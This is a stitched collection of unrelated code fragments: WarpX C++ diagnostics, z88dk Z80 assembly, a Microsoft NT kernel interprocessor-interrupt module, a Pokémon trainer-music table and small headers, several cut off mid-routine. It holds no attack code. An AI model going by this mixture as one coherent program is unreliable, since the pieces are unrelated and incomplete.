// Er, Etheta, Ez, Br, Btheta, Bz, jr, jtheta, jz
// Each of them being a multi-component multifab
int n_new_fields = 9;
if (divE_requested) {
n_new_fields += 1;
}
if (rho_requested) {
n_new_fields += 1;
}
m_all_field_functors[lev].resize( m_all_field_functors[0].size() + n_new_fields );
// E
for (int dim=0; dim<3; dim++){
// 3 components, r theta z
m_all_field_functors[lev][icomp] =
std::make_unique<CellCenterFunctor>(warpx.get_pointer_Efield_aux(lev, dim), lev,
m_crse_ratio, false, ncomp_multimodefab);
AddRZModesToOutputNames(std::string("E") + coord[dim],
warpx.get_pointer_Efield_aux(0, 0)->nComp());
icomp += 1;
}
// B
for (int dim=0; dim<3; dim++){
// 3 components, r theta z
m_all_field_functors[lev][icomp] =
std::make_unique<CellCenterFunctor>(warpx.get_pointer_Bfield_aux(lev, dim), lev,
m_crse_ratio, false, ncomp_multimodefab);
AddRZModesToOutputNames(std::string("B") + coord[dim],
warpx.get_pointer_Bfield_aux(0, 0)->nComp());
icomp += 1;
}
// j
for (int dim=0; dim<3; dim++){
// 3 components, r theta z
m_all_field_functors[lev][icomp] =
std::make_unique<CellCenterFunctor>(warpx.get_pointer_current_fp(lev, dim), lev,
m_crse_ratio, false, ncomp_multimodefab);
icomp += 1;
AddRZModesToOutputNames(std::string("J") + coord[dim],
warpx.get_pointer_current_fp(0, 0)->nComp());
}
// divE
if (divE_requested) {
m_all_field_functors[lev][icomp] = std::make_unique<DivEFunctor>(warpx.get_array_Efield_aux(lev), lev,
m_crse_ratio, false, ncomp_multimodefab);
icomp += 1;
AddRZModesToOutputNames(std::string("divE"), ncomp_multimodefab);
}
// rho
if (rho_requested) {
m_all_field_functors[lev][icomp] = std::make_unique<RhoFunctor>(lev, m_crse_ratio, false, ncomp_multimodefab);
icomp += 1;
AddRZModesToOutputNames(std::string("rho"), ncomp_multimodefab);
}
// Sum the number of components in input vector m_all_field_functors
// and check that it corresponds to the number of components in m_varnames
// and m_mf_output
int ncomp_from_src = 0;
for (int i=0; i<m_all_field_functors[0].size(); i++){
ncomp_from_src += m_all_field_functors[lev][i]->nComp();
}
AMREX_ALWAYS_ASSERT( ncomp_from_src == m_varnames.size() );
#else
amrex::ignore_unused(lev);
#endif
}
void
FullDiagnostics::AddRZModesToOutputNames (const std::string& field, int ncomp){
#ifdef WARPX_DIM_RZ
// In cylindrical geometry, real and imag part of each mode are also
// dumped to file separately, so they need to be added to m_varnames
m_varnames.push_back( field + "_0_real" );
for (int ic=1 ; ic < (ncomp+1)/2 ; ic += 1) {
m_varnames.push_back( field + "_" + std::to_string(ic) + "_real" );
m_varnames.push_back( field + "_" + std::to_string(ic) + "_imag" );
}
#else
amrex::ignore_unused(field, ncomp);
#endif
}
void
FullDiagnostics::InitializeFieldBufferData (int i_buffer, int lev ) {
auto & warpx = WarpX::GetInstance();
amrex::RealBox diag_dom;
bool use_warpxba = true;
const amrex::IntVect blockingFactor = warpx.blockingFactor( lev );
// Default BoxArray and DistributionMap for initializing the output MultiFab, m_mf_output.
amrex::BoxArray ba = warpx.boxArray(lev);
amrex::DistributionMapping dmap = warpx.DistributionMap(lev);
// Check if warpx BoxArray is coarsenable.
if (warpx.get_numprocs() == 0)
{
AMREX_ALWAYS_ASSERT_WITH_MESSAGE (
ba.coarsenable(m_crse_ratio), "Invalid coarsening ratio for field diagnostics."
"Must be an integer divisor of the blocking factor.");
}
else
{
AMREX_ALWAYS_ASSERT_WITH_MESSAGE (
ba.coarsenable(m_crse_ratio), "Invalid coarsening ratio for field diagnostics."
"The total number of cells must be a multiple of the coarsening ratio multiplied by numprocs.");
}
// Find if user-defined physical dimensions are different from the simulation domain.
for (int idim=0; idim < AMREX_SPACEDIM; ++idim) {
// To ensure that the diagnostic lo and hi are within the domain defined at level, lev.
diag_dom.setLo(idim, std::max(m_lo[idim],warpx.Geom(lev).ProbLo(idim)) );
diag_dom.setHi(idim, std::min(m_hi[idim],warpx.Geom(lev).ProbHi(idim)) );
if ( fabs(warpx.Geom(lev).ProbLo(idim) - diag_dom.lo(idim))
> warpx.Geom(lev).CellSize(idim) )
use_warpxba = false;
if ( fabs(warpx.Geom(lev).ProbHi(idim) - diag_dom.hi(idim))
> warpx.Geom(lev).CellSize(idim) )
use_warpxba = false;
// User-defined value for coarsening should be an integer divisor of
// blocking factor at level, lev. This assert is not relevant and thus
// removed if warpx.numprocs is used for the domain decomposition.
if (warpx.get_numprocs() == 0)
{
AMREX_ALWAYS_ASSERT_WITH_MESSAGE( blockingFactor[idim] % m_crse_ratio[idim]==0,
" coarsening ratio must be integer divisor of blocking factor");
}
}
if (use_warpxba == false) {
// Following are the steps to compute the lo and hi index corresponding to user-defined
// m_lo and m_hi using the same resolution as the simulation at level, lev.
amrex::IntVect lo(0);
amrex::IntVect hi(1);
for (int idim=0; idim < AMREX_SPACEDIM; ++idim) {
// lo index with same cell-size as simulation at level, lev.
lo[idim] = std::max( static_cast<int>( floor (
( diag_dom.lo(idim) - warpx.Geom(lev).ProbLo(idim)) /
warpx.Geom(lev).CellSize(idim)) ), 0 );
// hi index with same cell-size as simulation at level, lev.
hi[idim] = std::max( static_cast<int> ( ceil (
( diag_dom.hi(idim) - warpx.Geom(lev).ProbLo(idim)) /
warpx.Geom(lev).CellSize(idim) ) ), 0) - 1 ;
// if hi<=lo, then hi = lo + 1, to ensure one cell in that dimension
if ( hi[idim] <= lo[idim] ) {
hi[idim] = lo[idim] + 1;
AMREX_ALWAYS_ASSERT_WITH_MESSAGE(
m_crse_ratio[idim]==1, "coarsening ratio in reduced dimension must be 1."
);
}
}
// Box for the output MultiFab corresponding to the user-defined physical co-ordinates at lev.
amrex::Box diag_box( lo, hi );
// Define box array
amrex::BoxArray diag_ba;
diag_ba.define(diag_box);
ba = diag_ba.maxSize( warpx.maxGridSize( lev ) );
// At this point in the code, the BoxArray, ba, is defined with the same index space and
// resolution as the simulation, at level, lev.
// Coarsen and refine so that the new BoxArray is coarsenable.
ba.coarsen(m_crse_ratio).refine(m_crse_ratio);
// Update the physical co-ordinates m_lo and m_hi using the final index values
// from the coarsenable, cell-centered BoxArray, ba.
for ( int idim = 0; idim < AMREX_SPACEDIM; ++idim) {
diag_dom.setLo( idim, warpx.Geom(lev).ProbLo(idim) +
ba.getCellCenteredBox(0).smallEnd(idim) * warpx.Geom(lev).CellSize(idim));
diag_dom.setHi( idim, warpx.Geom(lev).ProbLo(idim) +
(ba.getCellCenteredBox( ba.size()-1 ).bigEnd(idim) + 1) * warpx.Geom(lev).CellSize(idim));
}
}
AMREX_ALWAYS_ASSERT_WITH_MESSAGE(
m_crse_ratio.min() > 0, "Coarsening ratio must be non-zero.");
// The BoxArray is coarsened based on the user-defined coarsening ratio.
ba.coarsen(m_crse_ratio);
// Generate a new distribution map if the physical m_lo and m_hi for the output
// is different from the lo and hi physical co-ordinates of the simulation domain.
if (use_warpxba == false) dmap = amrex::DistributionMapping{ba};
// Allocate output MultiFab for diagnostics. The data will be stored at cell-centers.
int ngrow = (m_format == "sensei" || m_format == "ascent") ? 1 : 0;
// The zero is hard-coded since the number of output buffers = 1 for FullDiagnostics
m_mf_output[i_buffer][lev] = amrex::MultiFab(ba, dmap, m_varnames.size(), ngrow);
if (lev == 0) {
// The extent of the domain covered by the diag multifab, m_mf_output
//default non-periodic geometry for diags
amrex::Vector<int> diag_periodicity(AMREX_SPACEDIM,0);
// Box covering the extent of the user-defined diagnostic domain
amrex::Box domain = ba.minimalBox();
// define geom object
m_geom_output[i_buffer][lev].define( domain, &diag_dom,
amrex::CoordSys::cartesian,
diag_periodicity.data() );
} else if (lev > 0) {
// Take the geom object of previous level and refine it.
m_geom_output[i_buffer][lev] = amrex::refine( m_geom_output[i_buffer][lev-1],
warpx.RefRatio(lev-1) );
}
}
void
FullDiagnostics::InitializeFieldFunctors (int lev)
{
auto & warpx = WarpX::GetInstance();
// Clear any pre-existing vector to release stored data.
m_all_field_functors[lev].clear();
// Species index to loop over species that dump rho per species
int i = 0;
m_all_field_functors[lev].resize( m_varnames.size() );
// Fill vector of functors for all components except individual cylindrical modes.
for (int comp=0, n=m_all_field_functors[lev].size(); comp<n; comp++){
if ( m_varnames[comp] == "Ex" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_Efield_aux(lev, 0), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "Ey" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_Efield_aux(lev, 1), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "Ez" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_Efield_aux(lev, 2), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "Bx" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_Bfield_aux(lev, 0), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "By" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_Bfield_aux(lev, 1), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "Bz" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_Bfield_aux(lev, 2), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "jx" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_current_fp(lev, 0), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "jy" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_current_fp(lev, 1), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "jz" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_current_fp(lev, 2), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "rho" ){
// Initialize rho functor to dump total rho
m_all_field_functors[lev][comp] = std::make_unique<RhoFunctor>(lev, m_crse_ratio);
} else if ( m_varnames[comp].rfind("rho_", 0) == 0 ){
// Initialize rho functor to dump rho per species
m_all_field_functors[lev][comp] = std::make_unique<RhoFunctor>(lev, m_crse_ratio, m_rho_per_species_index[i]);
i++;
} else if ( m_varnames[comp] == "F" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_F_fp(lev), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "G" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_G_fp(lev), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "phi" ){
m_all_field_functors[lev][comp] = std::make_unique<CellCenterFunctor>(warpx.get_pointer_phi_fp(lev), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "part_per_cell" ){
m_all_field_functors[lev][comp] = std::make_unique<PartPerCellFunctor>(nullptr, lev, m_crse_ratio);
} else if ( m_varnames[comp] == "part_per_grid" ){
m_all_field_functors[lev][comp] = std::make_unique<PartPerGridFunctor>(nullptr, lev, m_crse_ratio);
} else if ( m_varnames[comp] == "divB" ){
m_all_field_functors[lev][comp] = std::make_unique<DivBFunctor>(warpx.get_array_Bfield_aux(lev), lev, m_crse_ratio);
} else if ( m_varnames[comp] == "divE" ){
m_all_field_functors[lev][comp] = std::make_unique<DivEFunctor>(warpx.get_array_Efield_aux(lev), lev, m_crse_ratio);
}
else {
amrex::Abort("Error: " + m_varnames[comp] + " is not a known field output type");
}
}
AddRZModesToDiags( lev );
}
void
FullDiagnostics::PrepareFieldDataForOutput ()
{
// First, make sure all guard cells are properly filled
// Probably overkill/unnecessary, but safe and shouldn't happen often !!
auto & warpx = WarpX::GetInstance();
warpx.FillBoundaryE(warpx.getngE());
warpx.FillBoundaryB(warpx.getngE());
warpx.UpdateAuxilaryData();
warpx.FillBoundaryAux(warpx.getngUpdateAux());
// Update the RealBox used for the geometry filter in particle diags
for (int i = 0; i < m_output_species.size(); ++i) {
m_output_species[i].m_diag_domain = m_geom_output[0][0].ProbDomain();
}
}
void
FullDiagnostics::MovingWindowAndGalileanDomainShift (int step)
{
auto & warpx = WarpX::GetInstance();
// Account for galilean shift
amrex::Real new_lo[AMREX_SPACEDIM];
amrex::Real new_hi[AMREX_SPACEDIM];
const amrex::Real* current_lo = m_geom_output[0][0].ProbLo();
const amrex::Real* current_hi = m_geom_output[0][0].ProbHi();
#if (AMREX_SPACEDIM == 3 )
for (int idim = 0; idim < AMREX_SPACEDIM; ++idim) {
new_lo[idim] = current_lo[idim] + warpx.m_galilean_shift[idim];
new_hi[idim] = current_hi[idim] + warpx.m_galilean_shift[idim];
}
#elif (AMREX_SPACEDIM == 2 )
{
new_lo[0] = current_lo[0] + warpx.m_galilean_shift[0];
new_hi[0] = current_hi[0] + warpx.m_galilean_shift[0];
new_lo[1] = current_lo[1] + warpx.m_galilean_shift[2];
new_hi[1] = current_hi[1] + warpx.m_galilean_shift[2];
}
#endif
// Update RealBox of geometry with galilean-shifted boundary
for (int lev = 0; lev < nmax_lev; ++lev) {
m_geom_output[0][lev].ProbDomain( amrex::RealBox(new_lo, new_hi) );
}
// For Moving Window Shift
if (warpx.moving_window_active(step+1)) {
int moving_dir = warpx.moving_window_dir;
amrex::Real moving_window_x = warpx.getmoving_window_x();
// Get the updated lo and hi of the geom domain
const amrex::Real* cur_lo = m_geom_output[0][0].ProbLo();
const amrex::Real* cur_hi = m_geom_output[0][0].ProbHi();
const amrex::Real* geom_dx = m_geom_output[0][0].CellSize();
int num_shift_base = static_cast<int>((moving_window_x - cur_lo[moving_dir])
/ geom_dx[moving_dir]);
// Update the diagnostic geom domain. Note that this is done only for the
// base level 0 because m_geom_output[0][lev] share the same static RealBox
for (int idim = 0; idim < AMREX_SPACEDIM; ++idim) {
new_lo[idim] = cur_lo[idim];
new_hi[idim] = cur_hi[idim];
}
new_lo[moving_dir] = cur_lo[moving_dir] + num_shift_base*geom_dx[moving_dir];
new_hi[moving_dir] = cur_hi[moving_dir] + num_shift_base*geom_dx[moving_dir];
// Update RealBox of geometry with shifted domain geometry for moving-window
for (int lev = 0; lev < nmax_lev; ++lev) {
m_geom_output[0][lev].ProbDomain( amrex::RealBox(new_lo, new_hi) );
}
}
}
|
; uint __CALLEE__ fread_callee(void *p, uint size, uint nitems, FILE *stream)
; 06.2008 aralbrec
XLIB fread_callee
XDEF ASMDISP_FREAD_CALLEE
LIB fgetc, l_mult, l_div_u, l_jpix, stdio_error_mc, stdio_success_znc
include "../stdio.def"
.fread_callee
pop af
pop ix
pop hl
pop de
pop bc
push af
.asmentry
; enter : ix = FILE *stream
; hl = uint nitems
; de = uint size
; bc = void *p
; exit : hl = number items read, carry reset for success
; hl = -1 and carry set for problem on stream (0 bytes read)
push de ; save size
push bc ; save void*
call l_mult ; hl = nitems * size
pop de ; de = void*
ld a,h
or l
jp z, stdio_success_znc - 1
dec hl ; reading one char below
exx
call fgetc + ASMDISP_FGETC ; verify stream open for input, get unget char
exx
jp c, stdio_error_mc - 1
ld (de),a ; write char to buffer
inc de
ld a,h ; must check for reading one byte
or l
jr z, onesize
ld a,STDIO_MSG_READ
call l_jpix
inc hl ; one more byte actually read with fgetc call above
pop de ; de = size
ex de,hl ; hl = size, de = number bytes read
call l_div_u ; hl = numbytes / size
or a
ret
.onesize
inc hl
pop bc
ret
defc ASMDISP_FREAD_CALLEE = asmentry - fread_callee
|
title "mpipia"
;++
;
; Copyright (c) 1989-1995 Microsoft Corporation
;
; Module Name:
;
; mpipia.asm
;
; Abstract:
;
; This module implements the x86 specific fucntions required to
; support multiprocessor systems.
;
; Author:
;
; David N. Cutler (davec) 5-Feb-1995
;
; Environment:
;
; Krnel mode only.
;
; Revision History:
;
;--
.486p
.xlist
include ks386.inc
include mac386.inc
include callconv.inc
.list
EXTRNP HalRequestSoftwareInterrupt,1,IMPORT,FASTCALL
EXTRNP HalRequestSoftwareInterrupt,1,IMPORT,FASTCALL
EXTRNP _HalRequestIpi,1,IMPORT
EXTRNP _KiFreezeTargetExecution, 2
ifdef DBGMP
EXTRNP _KiPollDebugger
endif
extrn _KiProcessorBlock:DWORD
DELAYCOUNT equ 2000h
_DATA SEGMENT DWORD PUBLIC 'DATA'
public _KiSynchPacket
_KiSynchPacket dd 0
_DATA ENDS
_TEXT SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
;++
;
; BOOLEAN
; KiIpiServiceRoutine (
; IN PKTRAP_FRAME TrapFrame,
; IN PKEXCEPTION_FRAME ExceptionFrame
; )
;
; Routine Description:
;
; This routine is called at IPI level to process any outstanding
; interporcessor requests for the current processor.
;
; Arguments:
;
; TrapFrame - Supplies a pointer to a trap frame.
;
; ExceptionFrame - Not used.
;
; Return Value:
;
; A value of TRUE is returned, if one of more requests were service.
; Otherwise, FALSE is returned.
;
;--
cPublicProc _KiIpiServiceRoutine, 2
ifndef NT_UP
cPublicFpo 2, 1
push ebx
mov ecx, PCR[PcPrcb] ; get current processor block address
xor ebx, ebx ; get request summary flags
cmp [ecx].PbRequestSummary, ebx
jz short isr10
xchg [ecx].PbRequestSummary, ebx
;
; Check for freeze request or synchronous request.
;
test bl, IPI_FREEZE+IPI_SYNCH_REQUEST
jnz short isr50 ; if nz, freeze or synch request
;
; For RequestSummary's other then IPI_FREEZE set return to TRUE
;
mov bh, 1
;
; Check for Packet ready.
;
; If a packet is ready, then get the address of the requested function
; and call the function passing the address of the packet address as a
; parameter.
;
isr10: mov eax, [ecx].PbSignalDone ; get source processor block address
or eax, eax ; check if packet ready
jz short isr20 ; if z set, no packet ready
mov edx, [esp + 8] ; Current trap frame
push [eax].PbCurrentPacket + 8 ; push parameters on stack
push [eax].PbCurrentPacket + 4 ;
push [eax].PbCurrentPacket + 0 ;
push eax ; push source processor block address
mov eax, [eax]+PbWorkerRoutine ; get worker routine address
mov [ecx].PbSignalDone, 0 ; clear packet address
mov [ecx].PbIpiFrame, edx ; Save frame address
call eax ; call worker routine
mov bh, 1 ; return TRUE
;
; Check for APC interrupt request.
;
isr20: test bl, IPI_APC ; check if APC interrupt requested
jz short isr30 ; if z, APC interrupt not requested
mov ecx, APC_LEVEL ; request APC interrupt
fstCall HalRequestSoftwareInterrupt
;
; Check for DPC interrupt request.
;
isr30: test bl, IPI_DPC ; check if DPC interrupt requested
jz short isr40 ; if z, DPC interrupt not requested
mov ecx, DISPATCH_LEVEL ; request DPC interrupt
fstCall HalRequestSoftwareInterrupt ;
isr40: mov al, bh ; return status
pop ebx
stdRET _KiIpiServiceRoutine
;
; Freeze or synchronous request
;
isr50: test bl, IPI_FREEZE
jz short isr60 ; if z, no freeze request
;
; Freeze request is requested
;
mov ecx, [esp] + 12 ; get exception frame address
mov edx, [esp] + 8 ; get trap frame address
stdCall _KiFreezeTargetExecution, <edx, ecx> ; freeze execution
mov ecx, PCR[PcPrcb] ; get current processor block address
test bl, not IPI_FREEZE ; Any other IPI RequestSummary?
setnz bh ; Set return code accordingly
test bl, IPI_SYNCH_REQUEST ; if z, no synch request
jz isr10
;
; Synchronous packet request. Pointer to requesting PRCB in KiSynchPacket.
;
isr60: mov eax, _KiSynchPacket ; get PRCB of requesting processor
mov edx, [esp + 8] ; Current trap frame
push [eax].PbCurrentPacket+8 ; push parameters on stack
push [eax].PbCurrentPacket+4 ;
push [eax].PbCurrentPacket+0 ;
push eax ; push source processor block address
mov eax, [eax]+PbWorkerRoutine ; get worker routine address
mov [ecx].PbIpiFrame, edx ; Save frame address
call eax ; call worker routine
mov ecx, PCR[PcPrcb] ; restore processor block address
mov bh, 1 ; return TRUE
jmp isr10
else
xor eax, eax ; return FALSE
stdRET _KiIpiServiceRoutine
endif
stdENDP _KiIpiServiceRoutine
;++
;
; VOID
; FASTCALL
; KiIpiSend (
; IN KAFFINITY TargetProcessors,
; IN KIPI_REQUEST Request
; )
;
; Routine Description:
;
; This function requests the specified operation on the targt set of
; processors.
;
; Arguments:
;
; TargetProcessors (ecx) - Supplies the set of processors on which the
; specified operation is to be executed.
;
; IpiRequest (edx) - Supplies the request operation code.
;
; Return Value:
;
; None.
;
;--
cPublicFastCall KiIpiSend, 2
ifndef NT_UP
cPublicFpo 0, 2
push esi ; save registers
push edi ;
mov esi, ecx ; save target processor set
shr ecx, 1 ; shift out first bit
lea edi, _KiProcessorBlock ; get processor block array address
jnc short is20 ; if nc, not in target set
is10: mov eax, [edi] ; get processor block address
lock or [eax].PbRequestSummary, edx ; set request summary bit
is20: shr ecx, 1 ; shift out next bit
lea edi, [edi+4] ; advance to next processor
jc short is10 ; if target, go set summary bit
jnz short is20 ; if more, check next
stdCall _HalRequestIpi, <esi> ; request IPI interrupts on targets
pop edi ; restore registers
pop esi ;
endif
fstRet KiIpiSend
fstENDP KiIpiSend
;++
;
; VOID
; KiIpiSendPacket (
; IN KAFFINITY TargetProcessors,
; IN PKIPI_WORKER WorkerFunction,
; IN PVOID Parameter1,
; IN PVOID Parameter2,
; IN PVOID Parameter3
; )
;
; Routine Description:
;
; This routine executes the specified worker function on the specified
; set of processors.
;
; Arguments:
;
; TargetProcessors [esp + 4] - Supplies the set of processors on which the
; specfied operation is to be executed.
;
; WorkerFunction [esp + 8] - Supplies the address of the worker function.
;
; Parameter1 - Parameter3 [esp + 12] - Supplies worker function specific
; paramters.
;
; Return Value:
;
; None.
;
;--*/
cPublicProc _KiIpiSendPacket, 5
ifndef NT_UP
cPublicFpo 5, 2
push esi ; save registers
push edi ;
;
; Store function address and parameters in the packet area of the PRCB on
; the current processor.
;
mov edx, PCR[PcPrcb] ; get current processor block address
mov ecx, [esp] + 12 ; set target processor set
mov eax, [esp] + 16 ; set worker function address
mov edi, [esp] + 20 ; store worker function parameters
mov esi, [esp] + 24 ;
mov [edx].PbTargetSet, ecx
mov [edx].PbWorkerRoutine, eax
mov eax, [esp] + 28
mov [edx].PbCurrentPacket, edi
mov [edx].PbCurrentPacket + 4, esi
mov [edx].PbCurrentPacket + 8, eax
;
; Loop through the target processors and send the packet to the specified
; recipients.
;
shr ecx, 1 ; shift out first bit
lea edi, _KiProcessorBlock ; get processor block array address
jnc short isp30 ; if nc, not in target set
isp10: mov esi, [edi] ; get processor block address
isp20: mov eax, [esi].PbSignalDone ; check if packet being processed
or eax, eax ;
jne short isp20 ; if ne, packet being processed
lock cmpxchg [esi].PbSignalDone, edx ; compare and exchange
jnz short isp20 ; if nz, exchange failed
isp30: shr ecx, 1 ; shift out next bit
lea edi, [edi+4] ; advance to next processor
jc short isp10 ; if c, in target set
jnz short isp30 ; if nz, more target processors
mov ecx, [esp] + 12 ; set target processor set
stdCall _HalRequestIpi, <ecx> ; send IPI to targets
pop edi ; restore register
pop esi ;
endif
stdRet _KiIpiSendPacket
stdENDP _KiIpiSendPacket
;++
;
; VOID
; FASTCALL
; KiIpiSignalPacketDone (
; IN PKIPI_CONTEXT Signaldone
; )
;
; Routine Description:
;
; This routine signals that a processor has completed a packet by
; clearing the calling processor's set member of the requesting
; processor's packet.
;
; Arguments:
;
; SignalDone (ecx) - Supplies a pointer to the processor block of the
; sending processor.
;
; Return Value:
;
; None.
;
;--
cPublicFastCall KiIpiSignalPacketDone, 1
ifndef NT_UP
mov edx, PCR[PcPrcb] ; get current processor block address
mov eax, [edx].PbSetMember ; get processor bit
lock xor [ecx].PbTargetSet, eax ; clear processor set member
endif
fstRET KiIpiSignalPacketDone
fstENDP KiIpiSignalPacketDone
;++
;
; VOID
; FASTCALL
; KiIpiSignalPacketDoneAndStall (
; IN PKIPI_CONTEXT Signaldone
; IN PULONG ReverseStall
; )
;
; Routine Description:
;
; This routine signals that a processor has completed a packet by
; clearing the calling processor's set member of the requesting
; processor's packet, and then stalls of the reverse stall value
;
; Arguments:
;
; SignalDone (ecx) - Supplies a pointer to the processor block of the
; sending processor.
;
; ReverseStall (edx) - Supplies a pointer to the reverse stall barrier
;
; Return Value:
;
; None.
;
;--
cPublicFastCall KiIpiSignalPacketDoneAndStall, 2
cPublicFpo 0, 2
ifndef NT_UP
push ebx
push esi
mov esi, PCR[PcPrcb] ; get current processor block address
mov eax, [esi].PbSetMember ; get processor bit
mov ebx, dword ptr [edx] ; get current value of barrier
lock xor [ecx].PbTargetSet, eax ; clear processor set member
sps10: mov eax, DELAYCOUNT
sps20: cmp ebx, dword ptr [edx] ; barrier set?
jne short sps90 ; yes, all done
YIELD
dec eax ; P54C pre C2 workaround
jnz short sps20 ; if eax = 0, generate bus cycle
ifdef DBGMP
stdCall _KiPollDebugger ; Check for debugger ^C
endif
;
; There could be a freeze execution outstanding. Check and clear
; freeze flag.
;
.errnz IPI_FREEZE - 4
lock btr [esi].PbRequestSummary, 2 ; Generate bus cycle
jnc short sps10 ; Freeze pending?
cPublicFpo 0,4
push ecx ; save TargetSet address
push edx
stdCall _KiFreezeTargetExecution, <[esi].PbIpiFrame, 0>
pop edx
pop ecx
jmp short sps10
sps90: pop esi
pop ebx
endif
fstRET KiIpiSignalPacketDoneAndStall
fstENDP KiIpiSignalPacketDoneAndStall
_TEXT ends
end
|
add r0, r1
|
#pragma once
#include <vector>
extern std::vector<std::vector<double>> * H;
extern std::vector<std::vector<double>> * F;
enum MsgType {
NextMsg,
ExitMsg,
BootMsg
};
struct Message {
MsgType type;
};
|
; What music plays when a trainer notices you
TrainerEncounterMusic::
; entries correspond to trainer classes (see constants/trainer_constants.asm)
db MUSIC_HIKER_ENCOUNTER ; none
db MUSIC_YOUNGSTER_ENCOUNTER ; falkner
db MUSIC_LASS_ENCOUNTER ; whitney
db MUSIC_YOUNGSTER_ENCOUNTER ; bugsy
db MUSIC_OFFICER_ENCOUNTER ; morty
db MUSIC_OFFICER_ENCOUNTER ; pryce
db MUSIC_LASS_ENCOUNTER ; jasmine
db MUSIC_OFFICER_ENCOUNTER ; chuck
db MUSIC_BEAUTY_ENCOUNTER ; clair
db MUSIC_RIVAL_ENCOUNTER ; rival1
db MUSIC_HIKER_ENCOUNTER ; pokemon_prof
db MUSIC_HIKER_ENCOUNTER ; will
db MUSIC_HIKER_ENCOUNTER ; cal
db MUSIC_OFFICER_ENCOUNTER ; bruno
db MUSIC_HIKER_ENCOUNTER ; karen
db MUSIC_HIKER_ENCOUNTER ; koga
db MUSIC_OFFICER_ENCOUNTER ; champion
db MUSIC_YOUNGSTER_ENCOUNTER ; brock
db MUSIC_LASS_ENCOUNTER ; misty
db MUSIC_OFFICER_ENCOUNTER ; lt_surge
db MUSIC_ROCKET_ENCOUNTER ; scientist
db MUSIC_OFFICER_ENCOUNTER ; erika
db MUSIC_YOUNGSTER_ENCOUNTER ; youngster
db MUSIC_YOUNGSTER_ENCOUNTER ; schoolboy
db MUSIC_YOUNGSTER_ENCOUNTER ; bird_keeper
db MUSIC_LASS_ENCOUNTER ; lass
db MUSIC_LASS_ENCOUNTER ; janine
db MUSIC_HIKER_ENCOUNTER ; cooltrainerm
db MUSIC_BEAUTY_ENCOUNTER ; cooltrainerf
db MUSIC_BEAUTY_ENCOUNTER ; beauty
db MUSIC_POKEMANIAC_ENCOUNTER ; pokemaniac
db MUSIC_ROCKET_ENCOUNTER ; gruntm
db MUSIC_HIKER_ENCOUNTER ; gentleman
db MUSIC_BEAUTY_ENCOUNTER ; skier
db MUSIC_BEAUTY_ENCOUNTER ; teacher
db MUSIC_BEAUTY_ENCOUNTER ; sabrina
db MUSIC_YOUNGSTER_ENCOUNTER ; bug_catcher
db MUSIC_HIKER_ENCOUNTER ; fisher
db MUSIC_HIKER_ENCOUNTER ; swimmerm
db MUSIC_BEAUTY_ENCOUNTER ; swimmerf
db MUSIC_HIKER_ENCOUNTER ; sailor
db MUSIC_POKEMANIAC_ENCOUNTER ; super_nerd
db MUSIC_RIVAL_ENCOUNTER ; rival2
db MUSIC_HIKER_ENCOUNTER ; guitarist
db MUSIC_HIKER_ENCOUNTER ; hiker
db MUSIC_HIKER_ENCOUNTER ; biker
db MUSIC_OFFICER_ENCOUNTER ; blaine
db MUSIC_POKEMANIAC_ENCOUNTER ; burglar
db MUSIC_HIKER_ENCOUNTER ; firebreather
db MUSIC_POKEMANIAC_ENCOUNTER ; juggler
db MUSIC_HIKER_ENCOUNTER ; blackbelt_t
db MUSIC_ROCKET_ENCOUNTER ; executivem
db MUSIC_YOUNGSTER_ENCOUNTER ; psychic_t
db MUSIC_LASS_ENCOUNTER ; picnicker
db MUSIC_YOUNGSTER_ENCOUNTER ; camper
db MUSIC_ROCKET_ENCOUNTER ; executivef
db MUSIC_SAGE_ENCOUNTER ; sage
db MUSIC_SAGE_ENCOUNTER ; medium
db MUSIC_HIKER_ENCOUNTER ; boarder
db MUSIC_HIKER_ENCOUNTER ; pokefanm
db MUSIC_KIMONO_ENCOUNTER ; kimono_girl
db MUSIC_LASS_ENCOUNTER ; twins
db MUSIC_BEAUTY_ENCOUNTER ; pokefanf
db MUSIC_HIKER_ENCOUNTER ; red
db MUSIC_RIVAL_ENCOUNTER ; blue
db MUSIC_HIKER_ENCOUNTER ; officer
db MUSIC_ROCKET_ENCOUNTER ; gruntf
db MUSIC_HIKER_ENCOUNTER ; mysticalman
db MUSIC_HIKER_ENCOUNTER
db MUSIC_HIKER_ENCOUNTER
db MUSIC_HIKER_ENCOUNTER
|
; void __CALLEE__ *im2_CreateGenericISRLight_callee(uchar numhooks, void *addr)
; 10.2005 aralbrec
SECTION code_clib
PUBLIC im2_CreateGenericISRLight_callee
PUBLIC _im2_CreateGenericISRLight_callee
PUBLIC ASMDISP_IM2_CREATEGENERICISRLIGHT_CALLEE
EXTERN IM2CreateCommon
.im2_CreateGenericISRLight_callee
._im2_CreateGenericISRLight_callee
pop hl
pop de
pop bc
push hl
ld a,c
.asmentry
; enter: a = maximum number of hooks
; de = RAM address to copy ISR to
